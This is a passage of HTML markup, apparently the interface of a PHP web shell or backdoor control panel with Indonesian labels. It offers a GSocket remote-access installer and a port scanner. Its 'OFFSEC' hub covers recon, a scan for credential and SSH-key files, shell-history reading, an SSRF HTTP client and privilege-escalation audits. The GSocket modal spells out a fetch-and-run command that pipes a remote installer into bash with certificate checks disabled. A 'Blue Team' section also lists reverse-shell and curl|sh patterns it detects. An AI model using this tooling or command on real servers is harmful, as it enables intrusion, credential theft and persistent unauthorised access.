            <option value="wget">wget — GS_NOCERTCHECK=1 bash -c "$(wget --no-check-certificate …)"</option>
          </select>
        </div>
      </div>
      <div class="tool-cmd" id="gsCmdPreview">GS_NOCERTCHECK=1 bash -c "$(curl -fsSLk https://gsocket.io/y)"</div>
      <div class="sec-callout"><svg viewBox="0 0 24 24"><circle cx="12" cy="12" r="9"/><path d="M12 8v4M12 16h.01"/></svg><span>Installer dari gsocket.io/y. Jika GSRN firewalled, otomatis retry <code>GS_PORT=22</code> s/d <code>67</code>.</span></div>
      <div class="sec-terminal" style="margin-top:14px">
        <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — gsocket</span></div>
        <div class="tool-output tall empty sec-terminal-out" id="gsOutput">Klik Run untuk mengeksekusi installer GSocket.</div>
      </div>
    </div>
    <div class="modal-foot">
      <span class="left" id="gsMeta">—</span>
      <button class="btn btn-ghost" id="gsCopy" title="Copy output">Copy Output</button>
      <button class="btn mc">Close</button>
      <button class="btn btn-primary" id="gsRun">Run GSocket</button>
    </div>
  </div>
</div>

<div class="overlay" id="mPortScan">
  <div class="modal m-lg tool-modal">
    <div class="modal-head"><h2><span class="tool-head-ico" data-bi="broadcast"></span>Port Scanner</h2><button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button></div>
    <div class="modal-body">
      <div class="tool-grid">
        <div class="fg"><label>Target Host</label><input type="text" id="psHost" value="127.0.0.1" placeholder="127.0.0.1"></div>
        <div class="fg"><label>Ports</label><input type="text" id="psPorts" value="21,22,25,80,443,3306,8080" placeholder="22,80,443 or 1-1024"></div>
        <div class="fg"><label>Timeout (sec)</label><input type="number" id="psTimeout" value="1" min="1" max="5"></div>
      </div>
      <div class="sec-terminal" style="margin-top:14px">
        <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — port scan</span></div>
        <div class="tool-output empty sec-terminal-out" id="psOutput">Enter target and click Scan.</div>
      </div>
      <div class="tool-tags" id="psTags"></div>
    </div>
    <div class="modal-foot">
      <button class="btn mc">Close</button>
      <button class="btn btn-primary" id="psScan">Scan Ports</button>
    </div>
  </div>
</div>

<div class="overlay" id="mVhostHint">
  <div class="modal m-lg tool-modal">
    <div class="modal-head"><h2><span class="tool-head-ico" data-bi="globe2"></span>Subdomain / Vhost Hint</h2><button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button></div>
    <div class="modal-body">
      <div class="sec-callout"><svg viewBox="0 0 24 24"><circle cx="12" cy="12" r="9"/><path d="M12 8v4M12 16h.01"/></svg><span>Gabungan <code>HTTP_HOST</code>, cPanel/vhost Apache/Nginx, <code>/etc/hosts</code>, dan jejak <code>.env</code> / WordPress di folder scan.</span></div>
      <div class="tool-grid" style="margin-top:12px">
        <div class="fg"><label>Scan config dari folder (relatif)</label><input type="text" id="vhScanPath" placeholder="kosong = root FM"></div>
      </div>
      <div class="vhost-wrap" id="vhTableWrap" style="margin-top:14px;display:none">
        <table class="vhost-table"><thead><tr><th>Domain</th><th>Docroot / path</th><th>Sumber</th><th></th></tr></thead><tbody id="vhTableBody"></tbody></table>
      </div>
      <div class="sec-terminal" style="margin-top:14px">
        <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — vhost hint</span></div>
        <div class="tool-output tall empty sec-terminal-out" id="vhOutput">Klik Scan untuk mengumpulkan hint subdomain/vhost.</div>
      </div>
    </div>
    <div class="modal-foot">
      <span class="left" id="vhMeta">—</span>
      <button class="btn btn-ghost" id="vhCopy">Copy</button>
      <button class="btn mc">Close</button>
      <button class="btn btn-primary" id="vhScan">Scan Hints</button>
    </div>
  </div>
</div>

<div class="overlay" id="mLogTailer">
  <div class="modal m-lg tool-modal">
    <div class="modal-head"><h2><span class="tool-head-ico" data-bi="journal-text"></span>Log &amp; History Tail</h2><button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button></div>
    <div class="modal-body">
      <div class="lt-tabs">
        <button type="button" class="lt-tab active" data-lt-tab="log">Log file</button>
        <button type="button" class="lt-tab" data-lt-tab="bash">Bash / Zsh history</button>
      </div>
      <div class="lt-pane active" id="ltPaneLog">
        <div class="tool-grid">
          <div class="fg"><label>Preset log</label>
            <select id="ltPreset"><option value="">— pilih preset —</option></select>
          </div>
          <div class="fg"><label>Path log (absolut atau relatif)</label><input type="text" id="ltPath" placeholder="/var/log/apache2/error.log"></div>
          <div class="fg"><label>Baris</label><input type="number" id="ltLines" value="100" min="1" max="500"></div>
          <div class="fg"><label>Filter teks (opsional)</label><input type="text" id="ltFilter" placeholder="error, PHP Fatal, …"></div>
        </div>
        <div class="sec-terminal" style="margin-top:14px">
          <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — log tail <span id="ltFollowBadge" class="lt-follow-on" hidden>● follow</span></span></div>
          <div class="tool-output tall empty sec-terminal-out" id="ltOutput">Pilih preset atau path, lalu Tail.</div>
        </div>
      </div>
      <div class="lt-pane" id="ltPaneBash">
        <div class="tool-grid">
          <div class="fg"><label>Baris per file history</label><input type="number" id="ltBashLines" value="150" min="10" max="500"></div>
        </div>
        <div class="sec-terminal" style="margin-top:14px">
          <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — shell history</span></div>
          <div class="tool-output tall empty sec-terminal-out" id="ltBashOutput">Klik Load History untuk tail <code>.bash_history</code> / <code>.zsh_history</code>.</div>
        </div>
      </div>
    </div>
    <div class="modal-foot">
      <span class="left" id="ltMeta">—</span>
      <button class="btn btn-ghost" id="ltCopy">Copy</button>
      <button class="btn mc">Close</button>
      <button class="btn btn-ghost" id="ltFollow">Follow</button>
      <button class="btn btn-primary" id="ltTail">Tail Log</button>
      <button class="btn btn-primary" id="ltBashLoad" style="display:none">Load History</button>
    </div>
  </div>
</div>

<div class="overlay" id="mAdminer">
  <div class="modal m-full tool-modal db-manager-modal">
    <div class="modal-head">
      <h2><span class="tool-head-ico" data-bi="database"></span>MySQL Manager</h2>
      <button class="btn btn-ghost btn-sm" id="dbOpenAdminer" title="Buka tab penuh">Tab penuh</button>
      <button class="btn btn-ghost btn-sm" id="dbRefreshManager" title="Unduh ulang dari gist">Sync</button>
      <button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button>
    </div>
    <div class="modal-body">
      <div class="db-iframe-wrap">
        <div class="db-iframe-loading" id="dbIframeLoading">
          <span>Mengunduh / memuat MySQL Manager…</span>
          <span class="tool-note" id="dbIframeStatus"></span>
        </div>
        <iframe class="db-manager-frame" id="dbIframe" title="MySQL Manager" src="about:blank"></iframe>
      </div>
    </div>
    <div class="modal-foot">
      <span class="left" id="dbMeta">mysql_manager.php · iframe</span>
      <button class="btn mc">Close</button>
    </div>
  </div>
</div>

<div class="overlay" id="mSecHub">
  <div class="modal m-full sec-hub-modal">
    <div class="modal-head sec-hub-head">
      <div class="sec-hub-head-left">
        <span class="sec-hub-badge">OFFSEC</span>
        <h2>Cyber Security Hub</h2>
      </div>
      <button class="btn btn-ghost btn-sm" id="secPhpinfo" title="Open PHPInfo">PHPInfo</button>
      <button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button>
    </div>
    <div class="modal-body sec-hub-body">
      <div class="sec-hub-shell">
        <nav class="sec-hub-nav" role="tablist">
          <button class="sec-nav-btn active" data-sec="recon" type="button"><span class="sec-nav-ico"><svg viewBox="0 0 24 24"><circle cx="11" cy="11" r="7"/><path d="M21 21l-4.35-4.35"/></svg></span><span class="sec-nav-text"><strong>Recon</strong><small>System intel</small></span></button>
          <button class="sec-nav-btn" data-sec="sensitive" type="button"><span class="sec-nav-ico" data-bi="file-earmark-lock-fill"></span><span class="sec-nav-text"><strong>Sensitive</strong><small>Secret files</small></span></button>
          <button class="sec-nav-btn" data-sec="processes" type="button"><span class="sec-nav-ico"><svg viewBox="0 0 24 24"><rect x="4" y="4" width="16" height="16" rx="2"/><path d="M9 9h6v6H9z"/></svg></span><span class="sec-nav-text"><strong>Processes</strong><small>Running tasks</small></span></button>
          <button class="sec-nav-btn" data-sec="network" type="button"><span class="sec-nav-ico"><svg viewBox="0 0 24 24"><circle cx="12" cy="12" r="9"/><path d="M2 12h20M12 2a15 15 0 0 1 0 20M12 2a15 15 0 0 0 0 20"/></svg></span><span class="sec-nav-text"><strong>Network</strong><small>Ports &amp; ifaces</small></span></button>
          <button class="sec-nav-btn" data-sec="http" type="button"><span class="sec-nav-ico"><svg viewBox="0 0 24 24"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"/><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"/></svg></span><span class="sec-nav-text"><strong>HTTP</strong><small>Request client</small></span></button>
          <button class="sec-nav-btn" data-sec="hash" type="button"><span class="sec-nav-ico"><svg viewBox="0 0 24 24"><path d="M4 9h16M4 15h16M10 3L8 21M16 3l-2 18"/></svg></span><span class="sec-nav-text"><strong>Hash</strong><small>Checksums</small></span></button>
          <button class="sec-nav-btn" data-sec="codec" type="button"><span class="sec-nav-ico"><svg viewBox="0 0 24 24"><polyline points="16 18 22 12 16 6"/><polyline points="8 6 2 12 8 18"/></svg></span><span class="sec-nav-text"><strong>Codec</strong><small>Encode/decode</small></span></button>
          <button class="sec-nav-btn" data-sec="dns" type="button"><span class="sec-nav-ico"><svg viewBox="0 0 24 24"><path d="M12 2a10 10 0 1 0 0 20 10 10 0 0 0 0-20z"/><path d="M2 12h20M12 2v20"/></svg></span><span class="sec-nav-text"><strong>DNS</strong><small>Record lookup</small></span></button>
          <button class="sec-nav-btn" data-sec="privesc" type="button"><span class="sec-nav-ico"><svg viewBox="0 0 24 24"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/><path d="M12 8v4M12 16h.01"/></svg></span><span class="sec-nav-text"><strong>Privesc</strong><small>Linux &amp; Windows</small></span></button>
        </nav>
        <div class="sec-hub-main">
          <div class="sec-hero">
            <h3 id="secHeroTitle">System Recon</h3>
            <p id="secHeroDesc">Informasi sistem, user/privilege, batasan PHP, kernel &amp; environment.</p>
          </div>
          <div class="sec-hub-content">

        <div class="sec-panel active" data-panel="recon">
          <div class="sec-panel-card">
            <div class="sec-actions">
              <button class="btn btn-primary btn-sm" id="secRunRecon">Run System Recon</button>
              <button class="btn btn-ghost btn-sm" id="secCopyRecon">Copy Report</button>
            </div>
            <div class="sec-terminal">
              <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — recon</span></div>
              <div class="tool-output tall empty sec-terminal-out" id="secOutRecon">System info, user/privilege, PHP security restrictions, kernel &amp; env.</div>
            </div>
          </div>
        </div>

        <div class="sec-panel" data-panel="sensitive">
          <div class="sec-panel-card">
            <div class="sec-form-grid">
              <div class="fg span2"><label>Scan path (optional)</label><input type="text" id="secSensPath" placeholder="Kosongkan = base + direktori umum"></div>
            </div>
            <div class="sec-actions"><button class="btn btn-primary btn-sm" id="secRunSensitive">Scan Sensitive Files</button></div>
            <div class="sec-callout"><svg viewBox="0 0 24 24"><circle cx="12" cy="12" r="9"/><path d="M12 8v4M12 16h.01"/></svg><span>Mencari <code>.env</code>, <code>wp-config</code>, SSH keys, <code>.git/config</code>, SQL dumps, credentials…</span></div>
            <div class="sec-terminal" style="margin-top:14px">
              <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — sensitive scan</span></div>
              <div class="tool-output tall empty sec-terminal-out" id="secOutSensitive">Klik Scan untuk mulai pencarian.</div>
            </div>
          </div>
        </div>

        <div class="sec-panel" data-panel="processes">
          <div class="sec-panel-card">
            <div class="sec-actions"><button class="btn btn-primary btn-sm" id="secRunProcesses">List Processes</button></div>
            <div class="sec-terminal">
              <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — processes</span></div>
              <div class="tool-output tall empty sec-terminal-out" id="secOutProcesses">ps aux / tasklist output.</div>
            </div>
          </div>
        </div>

        <div class="sec-panel" data-panel="network">
          <div class="sec-panel-card">
            <div class="sec-actions"><button class="btn btn-primary btn-sm" id="secRunNetwork">Show Network</button></div>
            <div class="sec-terminal">
              <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — network</span></div>
              <div class="tool-output tall empty sec-terminal-out" id="secOutNetwork">Listening ports, connections, interfaces.</div>
            </div>
          </div>
        </div>

        <div class="sec-panel" data-panel="http">
          <div class="sec-panel-card">
            <div class="sec-form-grid">
              <div class="fg span2"><label>URL</label><input type="text" id="secHttpUrl" placeholder="https://example.com/api"></div>
              <div class="fg"><label>Method</label>
                <select id="secHttpMethod"><option>GET</option><option>POST</option><option>PUT</option><option>PATCH</option><option>DELETE</option><option>HEAD</option></select>
              </div>
              <div class="fg span2"><label>Headers (one per line)</label><textarea id="secHttpHeaders" rows="2" placeholder="User-Agent: GeckoSec&#10;Accept: */*"></textarea></div>
              <div class="fg span2"><label>Body</label><textarea id="secHttpBody" rows="3" placeholder="POST body…"></textarea></div>
            </div>
            <div class="sec-actions"><button class="btn btn-primary btn-sm" id="secRunHttp">Send Request</button></div>
            <div class="sec-terminal">
              <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — http</span></div>
              <div class="tool-output tall empty sec-terminal-out" id="secOutHttp">HTTP client untuk SSRF / recon testing.</div>
            </div>
          </div>
        </div>

        <div class="sec-panel" data-panel="hash">
          <div class="sec-panel-card">
            <div class="sec-form-grid">
              <div class="fg"><label>Algorithm</label>
                <select id="secHashAlgo"><option value="md5">MD5</option><option value="sha1">SHA1</option><option value="sha256" selected>SHA256</option><option value="sha512">SHA512</option><option value="crc32">CRC32</option></select>
              </div>
              <div class="fg span2"><label>Input</label><textarea id="secHashText" rows="4" placeholder="Text to hash…"></textarea></div>
            </div>
            <div class="sec-actions"><button class="btn btn-primary btn-sm" id="secRunHash">Generate Hash</button></div>
            <div class="sec-terminal">
              <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — hash</span></div>
              <div class="tool-output tall empty sec-terminal-out" id="secOutHash">Hash output.</div>
            </div>
          </div>
        </div>

        <div class="sec-panel" data-panel="codec">
          <div class="sec-panel-card">
            <div class="sec-form-grid">
              <div class="fg"><label>Mode</label>
                <select id="secCodecMode">
                  <option value="b64enc">Base64 Encode</option><option value="b64dec">Base64 Decode</option>
                  <option value="urlenc">URL Encode</option><option value="urldec">URL Decode</option>
                  <option value="rot13">ROT13</option><option value="hexenc">Hex Encode</option><option value="hexdec">Hex Decode</option>
                </select>
              </div>
              <div class="fg span2"><label>Input</label><textarea id="secCodecText" rows="4"></textarea></div>
            </div>
            <div class="sec-actions"><button class="btn btn-primary btn-sm" id="secRunCodec">Transform</button></div>
            <div class="sec-terminal">
              <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — codec</span></div>
              <div class="tool-output tall empty sec-terminal-out" id="secOutCodec">Encoded/decoded output.</div>
            </div>
          </div>
        </div>

        <div class="sec-panel" data-panel="dns">
          <div class="sec-panel-card">
            <div class="sec-form-grid">
              <div class="fg"><label>Host</label><input type="text" id="secDnsHost" placeholder="example.com"></div>
              <div class="fg"><label>Record type</label>
                <select id="secDnsType"><option value="ALL">ALL</option><option value="A">A</option><option value="AAAA">AAAA</option><option value="MX">MX</option><option value="TXT">TXT</option><option value="NS">NS</option><option value="CNAME">CNAME</option></select>
              </div>
            </div>
            <div class="sec-actions"><button class="btn btn-primary btn-sm" id="secRunDns">Lookup DNS</button></div>
            <div class="sec-terminal">
              <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — dns</span></div>
              <div class="tool-output tall empty sec-terminal-out" id="secOutDns">DNS records.</div>
            </div>
          </div>
        </div>

        <div class="sec-panel" data-panel="privesc">
          <div class="sec-panel-card">
            <div class="sec-actions">
              <button class="btn btn-primary btn-sm" id="secRunPrivescLinux">Audit Linux Privesc</button>
              <button class="btn btn-primary btn-sm" id="secRunPrivescWindows">Audit Windows Privesc</button>
              <button class="btn btn-ghost btn-sm" id="secRunSuid">SUID/SGID Quick</button>
              <button class="btn btn-ghost btn-sm" id="secCopyPrivesc">Copy Report</button>
            </div>
            <div class="sec-callout warn"><svg viewBox="0 0 24 24"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg><span><strong>Linux:</strong> sudo, SUID/GTFOBins, capabilities, writable /etc, docker group, NFS, cron… · <strong>Windows:</strong> token privileges, UAC, AlwaysInstallElevated, unquoted paths, services, tasks.</span></div>
            <div class="sec-terminal" style="margin-top:14px">
              <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — privesc audit</span></div>
              <div class="tool-output tall empty sec-terminal-out" id="secOutPrivesc">Pilih audit Linux atau Windows. Di server Linux jalankan Linux; di Windows jalankan Windows.</div>
            </div>
          </div>
        </div>

          </div>
        </div>
      </div>
    </div>
    <div class="modal-foot sec-hub-foot">
      <span class="left"><span class="sec-stat" id="secMeta">Cyber Security toolkit</span></span>
      <button class="btn mc">Close</button>
    </div>
  </div>
</div>

<div class="overlay" id="mBlueHub">
  <div class="modal m-full sec-hub-modal blue-team">
    <div class="modal-head sec-hub-head">
      <div class="sec-hub-head-left">
        <span class="sec-hub-badge">DEFENSE</span>
        <h2>Blue Team Hub</h2>
      </div>
      <button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button>
    </div>
    <div class="modal-body sec-hub-body">
      <div class="sec-hub-shell">
        <nav class="sec-hub-nav" role="tablist">
          <button class="sec-nav-btn active" data-blue="backdoor" type="button"><span class="sec-nav-ico"><svg viewBox="0 0 24 24"><path d="M12 2a4 4 0 0 1 4 4c0 1.5-.8 2.8-2 3.5V12h3a3 3 0 0 1 3 3v1H7v-1a3 3 0 0 1 3-3h3V9.5A4 4 0 0 1 12 2z"/></svg></span><span class="sec-nav-text"><strong>Backdoor</strong><small>Webshell scan</small></span></button>
          <button class="sec-nav-btn" data-blue="fullaudit" type="button"><span class="sec-nav-ico"><svg viewBox="0 0 24 24"><path d="M9 11l3 3L22 4"/><path d="M21 12v7a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h11"/></svg></span><span class="sec-nav-text"><strong>Full Audit</strong><small>All checks</small></span></button>
          <button class="sec-nav-btn" data-blue="recent" type="button"><span class="sec-nav-ico"><svg viewBox="0 0 24 24"><circle cx="12" cy="12" r="9"/><path d="M12 7v5l3 2"/></svg></span><span class="sec-nav-text"><strong>Recent</strong><small>File changes</small></span></button>
          <button class="sec-nav-btn" data-blue="writable" type="button"><span class="sec-nav-ico"><svg viewBox="0 0 24 24"><path d="M12 20h9"/><path d="M16.5 3.5a2.1 2.1 0 0 1 3 3L7 19l-4 1 1-4z"/></svg></span><span class="sec-nav-text"><strong>Writable</strong><small>777 / o+w</small></span></button>
          <button class="sec-nav-btn" data-blue="hidden" type="button"><span class="sec-nav-ico"><svg viewBox="0 0 24 24"><path d="M17.94 17.94A10.07 10.07 0 0 1 12 20c-7 0-11-8-11-8a18.45 18.45 0 0 1 5.06-5.94"/><path d="M9.9 4.24A9.12 9.12 0 0 1 12 4c7 0 11 8 11 8a18.5 18.5 0 0 1-2.16 3.19"/><line x1="1" y1="1" x2="23" y2="23"/></svg></span><span class="sec-nav-text"><strong>Hidden</strong><small>Dot-files</small></span></button>
          <button class="sec-nav-btn" data-blue="persistence" type="button"><span class="sec-nav-ico"><svg viewBox="0 0 24 24"><path d="M12 2v4M12 18v4M4.93 4.93l2.83 2.83M16.24 16.24l2.83 2.83M2 12h4M18 12h4M4.93 19.07l2.83-2.83M16.24 7.76l2.83-2.83"/><circle cx="12" cy="12" r="3"/></svg></span><span class="sec-nav-text"><strong>Persistence</strong><small>Cron · systemd · web</small></span></button>
          <button class="sec-nav-btn" data-blue="cron" type="button"><span class="sec-nav-ico"><svg viewBox="0 0 24 24"><circle cx="12" cy="12" r="9"/><path d="M12 7v5l3 2"/></svg></span><span class="sec-nav-text"><strong>Cron</strong><small>Quick cron only</small></span></button>
          <button class="sec-nav-btn" data-blue="logs" type="button"><span class="sec-nav-ico"><svg viewBox="0 0 24 24"><path d="M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z"/><path d="M14 2v6h6"/><path d="M8 13h8M8 17h5"/></svg></span><span class="sec-nav-text"><strong>Logs</strong><small>Auth &amp; errors</small></span></button>
          <button class="sec-nav-btn" data-blue="ioc" type="button"><span class="sec-nav-ico"><svg viewBox="0 0 24 24"><path d="M10.29 3.86L1.82 18a2 2 0 0 0 1.71 3h16.94a2 2 0 0 0 1.71-3L13.71 3.86a2 2 0 0 0-3.42 0z"/><line x1="12" y1="9" x2="12" y2="13"/><line x1="12" y1="17" x2="12.01" y2="17"/></svg></span><span class="sec-nav-text"><strong>IOC Hunt</strong><small>Known names</small></span></button>
          <button class="sec-nav-btn" data-blue="process" type="button"><span class="sec-nav-ico"><svg viewBox="0 0 24 24"><rect x="4" y="4" width="16" height="16" rx="2"/><path d="M9 9h6v6H9z"/></svg></span><span class="sec-nav-text"><strong>Processes</strong><small>Suspicious</small></span></button>
        </nav>
        <div class="sec-hub-main">
          <div class="sec-hero">
            <h3 id="blueHeroTitle">Backdoor Scanner</h3>
            <p id="blueHeroDesc">Deteksi webshell &amp; backdoor dengan scoring signature. File gecko dikecualikan otomatis.</p>
          </div>
          <div class="sec-hub-content">

        <div class="sec-panel active" data-bpanel="backdoor">
          <div class="sec-panel-card">
            <div class="sec-form-grid">
              <div class="fg span2"><label>Scan path (optional)</label><input type="text" id="blueScanPath" placeholder="Document root + /var/www /home /tmp /opt"></div>
              <div class="fg span2">
                <label>Aggressive mode</label>
                <div class="sec-toggle-row" onclick="document.getElementById('blueAggressive').click()">
                  <input type="checkbox" id="blueAggressive" onclick="event.stopPropagation()">
                  <span>Scan lebih luas &amp; threshold lebih rendah — risiko false positive lebih tinggi</span>
                </div>
              </div>
            </div>
            <div class="sec-actions">
              <button class="btn btn-primary btn-sm" id="blueRunBackdoor">Scan for Backdoors</button>
              <button class="btn btn-ghost btn-sm" id="blueCopyBackdoor">Copy Report</button>
            </div>
            <div class="sec-callout blue"><svg viewBox="0 0 24 24"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg><span>Quarantine memindahkan file ke <code>.gecko_quarantine/</code> — bukan hapus permanen. Review hasil sebelum quarantine.</span></div>
            <div class="sec-terminal" style="margin-top:14px">
              <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — backdoor scan</span></div>
              <div class="tool-output tall empty sec-terminal-out" id="blueOutBackdoor">Ready to scan.</div>
            </div>
            <div class="blue-filter-bar" id="blueFilterBar">
              <button type="button" class="blue-filter active" data-sev="ALL">All</button>
              <button type="button" class="blue-filter" data-sev="CRITICAL">Critical</button>
              <button type="button" class="blue-filter" data-sev="HIGH">High</button>
              <button type="button" class="blue-filter" data-sev="MEDIUM">Medium</button>
              <button type="button" class="blue-filter" data-sev="LOW">Low</button>
            </div>
            <div class="blue-threat-actions" id="blueThreatActions">
              <span class="blue-threat-count-pill" id="blueThreatCount">0 threats</span>
              <button class="btn btn-ghost btn-sm" id="blueSelectAll">Select All</button>
              <button class="btn btn-ghost btn-sm" id="blueSelectNone">Deselect All</button>
              <span class="sec-actions-divider"></span>
              <button class="btn btn-danger btn-sm" id="blueDeleteSelected">Quarantine Selected</button>
              <button class="btn btn-danger btn-sm" id="blueDeleteAll">Quarantine All</button>
              <button class="btn btn-ghost btn-sm" id="blueKeepAll">Dismiss</button>
            </div>
            <div class="blue-threat-wrap hidden" id="blueThreatList"></div>
          </div>

          <div class="sec-panel-card sec-quarantine-card">
            <div class="sec-quarantine-head">
              <div class="sec-q-title"><svg viewBox="0 0 24 24"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/></svg>Quarantine Vault</div>
              <button class="btn btn-ghost btn-sm" id="blueRefreshQuarantine">Refresh</button>
              <button class="btn btn-primary btn-sm" id="blueRestoreSelected">Restore Selected</button>
              <button class="btn btn-primary btn-sm" id="blueRestoreAll">Restore All</button>
            </div>
            <div class="sec-callout blue" id="blueQuarantineDir">Folder quarantine: <code>.gecko_quarantine/</code> — klik Restore untuk kembalikan file.</div>
            <div class="blue-threat-wrap" id="blueQuarantineList"><div class="blue-threat-item" style="color:var(--tx4);font-style:italic;padding:14px">No quarantined files.</div></div>
          </div>
        </div>

        <div class="sec-panel" data-bpanel="fullaudit">
          <div class="sec-panel-card">
            <div class="sec-form-grid"><div class="fg span2"><label>Scan path (optional)</label><input type="text" id="blueAuditPath" placeholder="Same as backdoor scan scope"></div></div>
            <div class="sec-actions"><button class="btn btn-primary btn-sm" id="blueRunFullAudit">Run Full Audit</button></div>
            <div class="sec-callout blue"><svg viewBox="0 0 24 24"><circle cx="12" cy="12" r="9"/><path d="M12 8v4M12 16h.01"/></svg><span>Menjalankan: backdoor scan, recent changes, writable, hidden scripts, cron, IOC, processes, log audit.</span></div>
            <div class="sec-terminal" style="margin-top:14px">
              <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — full audit</span></div>
              <div class="tool-output tall empty sec-terminal-out" id="blueOutFullAudit">Comprehensive assessment — may take several minutes.</div>
            </div>
          </div>
        </div>

        <div class="sec-panel" data-bpanel="recent">
          <div class="sec-panel-card">
            <div class="sec-form-grid">
              <div class="fg"><label>Days</label><input type="number" id="blueRecentDays" value="7" min="1" max="90"></div>
              <div class="fg"><label>Path (optional)</label><input type="text" id="blueRecentPath" placeholder="Web root"></div>
            </div>
            <div class="sec-actions"><button class="btn btn-primary btn-sm" id="blueRunRecent">Find Recent Changes</button></div>
            <div class="sec-terminal">
              <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — recent changes</span></div>
              <div class="tool-output tall empty sec-terminal-out" id="blueOutRecent">Recently modified PHP/JS/.htaccess files.</div>
            </div>
          </div>
        </div>

        <div class="sec-panel" data-bpanel="writable">
          <div class="sec-panel-card">
            <div class="sec-actions"><button class="btn btn-primary btn-sm" id="blueRunWritable">Scan Writable Files</button></div>
            <div class="sec-terminal">
              <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — writable</span></div>
              <div class="tool-output tall empty sec-terminal-out" id="blueOutWritable">World-writable files &amp; directories (777 / o+w).</div>
            </div>
          </div>
        </div>

        <div class="sec-panel" data-bpanel="hidden">
          <div class="sec-panel-card">
            <div class="sec-actions"><button class="btn btn-primary btn-sm" id="blueRunHidden">Scan Hidden Scripts</button></div>
            <div class="sec-terminal">
              <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — hidden files</span></div>
              <div class="tool-output tall empty sec-terminal-out" id="blueOutHidden">Dot-files: .htaccess, .user.ini, hidden PHP shells.</div>
            </div>
          </div>
        </div>

        <div class="sec-panel" data-bpanel="persistence">
          <div class="sec-panel-card">
            <div class="sec-form-grid">
              <div class="fg span2"><label>Scan path (optional)</label><input type="text" id="bluePersistPath" placeholder="Web root + /home /var/www — kosongkan = default scope"></div>
            </div>
            <div class="sec-actions">
              <button class="btn btn-primary btn-sm" id="blueRunPersistence">Run Persistence Audit</button>
              <button class="btn btn-ghost btn-sm" id="blueCopyPersistence">Copy Report</button>
            </div>
            <div class="sec-callout blue"><svg viewBox="0 0 24 24"><circle cx="12" cy="12" r="9"/><path d="M12 8v4M12 16h.01"/></svg><span>Mengecek: crontab, systemd, scheduled tasks, SSH keys, shell profile, <code>.htaccess</code>, <code>.user.ini</code>, PHP <code>auto_prepend</code>, registry Run (Windows).</span></div>
            <div class="sec-terminal" style="margin-top:14px">
              <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — persistence audit</span></div>
              <div class="tool-output tall empty sec-terminal-out" id="blueOutPersistence">Klik Run untuk audit persistence di server.</div>
            </div>
          </div>
        </div>

        <div class="sec-panel" data-bpanel="cron">
          <div class="sec-panel-card">
            <div class="sec-actions"><button class="btn btn-primary btn-sm" id="blueRunCron">Audit Cron Jobs</button></div>
            <div class="sec-terminal">
              <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — cron audit</span></div>
              <div class="tool-output tall empty sec-terminal-out" id="blueOutCron">Detects persistence: curl|sh, /dev/tcp, reverse shells…</div>
            </div>
          </div>
        </div>

        <div class="sec-panel" data-bpanel="logs">
          <div class="sec-panel-card">
            <div class="sec-actions"><button class="btn btn-primary btn-sm" id="blueRunLogs">Audit Logs</button></div>
            <div class="sec-terminal">
              <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — log audit</span></div>
